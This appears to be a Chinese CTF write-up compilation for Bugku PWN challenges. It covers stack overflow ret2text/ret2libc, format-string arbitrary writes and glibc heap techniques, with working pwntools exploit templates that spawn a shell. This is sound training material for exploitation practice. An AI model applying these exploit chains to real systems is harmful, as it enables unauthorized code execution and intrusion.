Bugku PWN 题解总集:ret2text / 格式化字符串 / 堆利用

发布时间:2026/11/3 19:32:43
Bugku PWN 题解总集:ret2text / 格式化字符串 / 堆利用

平台:ctf.bugku.com|范围:PWN(二进制利用) 原则:先 checksec 定路线,再找原语,最后本地→远程。没有原语的「堆技巧」毫无意义。

0. 路线图

保护可行路线
无 NX直接ret2shellcode(栈上执行)或ret2text
NX 开、无 PIE/Canaryret2text(跳已有函数)、ret2libc(泄露→计算)
PIE 开先泄露代码基址(puts/格式化串)
Canary 开泄露 canary(格式化串/越界读)或__stack_chk_fail劫持
Full RELRO不打 GOT,改__malloc_hook/__free_hook(旧 glibc)或 FSOP

图 1:保护组合 → 可利用原语 → 利用链(Archify architecture)

1. ret2text:最基础也最高频

场景:栈溢出 + 程序里已有system("/bin/sh")或get_flag()函数。

from pwn import * p = process('./pwn') # 或 remote('host', port) payload = b'A' * offset # 到返回地址的偏移 payload += p64(0) # 64 位下 system 需对齐(必要时加 ret gadget) payload += p64(pop_rdi_ret) + p64(binsh) + p64(system) p.sendline(payload) p.interactive()

关键点:

  1. 偏移用「循环填充 + 崩溃地址」实测,不要靠数;
  2. x86_64 的system要求 16 字节栈对齐 → 崩了就插一个ret;
  3. 若目标只打印 flag 不给你 shell,直接跳到打印函数更快。

2. ret2libc:泄露 → 计算 → 二次利用

# 第一次:泄露 libc 地址 p.recvuntil(b'name:') payload = b'A'*offset + p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(main) p.sendline(payload) leak = u64(p.recv(6).ljust(8, b'\0')) libc_base = leak - libc.symbols['puts'] # 第二次:打 system('/bin/sh') payload2 = b'A'*offset + p64(ret) + p64(pop_rdi) + p64(next(libc.search(b'/bin/sh'))) + p64(libc_base + libc.symbols['system'])

坑:

  • 本地 libc 与远程不一致 → 用泄露值查 libc 版本(libc-database或泄露后三位估算);
  • puts遇到\x0a会截断 → 换write/printf;
  • 第二次利用需要main重入(或leave;ret栈迁移)。

3. 格式化字符串:读写双用

3.1 定偏移

p.sendline(b'AAAA' + b'.%p'*10) # 观察第几个 %p 输出 0x41414141 → 该位置就是偏移 k

3.2 任意写

from pwn import fmtstr_payload payload = fmtstr_payload(k, {target_addr: value}, write_size='short')

3.3 利用目标

  • 改写 GOT(printf@got→system@plt);
  • 改写返回地址;
  • 改写__stack_chk_fail@got绕过 canary;
  • 只读泄露:%s指向任意地址读内存(找 flag 字符串)。

坑:payload 长度受输入限制 → 分多次写;%n被禁 → 用%hhn分 4 次;目标地址含\x00→ 放到末尾。

4. 堆利用:先看 glibc 版本

glibc可用原语
2.23fastbin dup、unsafe unlink、__malloc_hook
2.27tcache dup(无校验)、__free_hook
2.31tcache 加 key 校验、tcache stashing unlink
2.32+safe-linking(指针加密)、FSOP 为主

4.1 标准流程

  1. pwn checksec+libc-version(泄露或题目给的.so);
  2. 找堆操作菜单:add/free/edit/show;
  3. 判断漏洞类型:UAF(free 后仍可 edit)、off-by-one、double free、堆溢出;
  4. 构造原语:tcache dup拿任意地址写 → 覆盖__free_hook为system→free("/bin/sh");
  5. 旧版无 hook 时走 FSOP(_IO_2_1_stdout_的 vtable/_IO_str_overflow)。

4.2 典型坑

坑现象处理
索引/大小校验只能 free 一次用 double free 绕或换 chunk 大小
输出截断puts遇\x00先泄露再写,或换write
堆地址随机需泄露用 unsorted bin 的main_arena泄露
交互时序远程卡住用recvuntil精确对齐,别用sleep

5. 本地通 → 远程稳

  1. 同 libc:本地用题目给的libc.so.6+LD_PRELOAD;
  2. 同环境:容器/Docker 里跑一遍,确认没有运气成分;
  3. 幂等:脚本能重复跑 10 次都成功才算稳;
  4. 超时处理:远程网络抖动 → 加 retry 包装,别把偶发成功当稳定。

6. 一页检查表

[ ] checksec 四条保护记下来了吗? [ ] 溢出偏移是实测的吗? [ ] 64 位栈对齐处理了吗? [ ] 泄露源选得对吗(puts 截断风险)? [ ] libc 版本与远程一致吗? [ ] 堆题:glibc 版本对应的原语选对了吗? [ ] 脚本跑 10 次都成功吗?

7. 图形附件(Archify)

图文件说明
PWN 保护与利用路线pwn-arch.html(交互图,本地交付包)栈/格式化/堆三类原语与工具
PWN 作战流程pwn-timeline.html(交互图,本地交付包)保护检查→定位→原语→本地→远程

流程视图

从判型到归档的主线流程:每步都要求留下原始输出,结论必须能被独立脚本重跑。

两图archify check均issues: [];archify finalize均ok:true+browser-check:pass;正文内嵌同源 PNG 截图。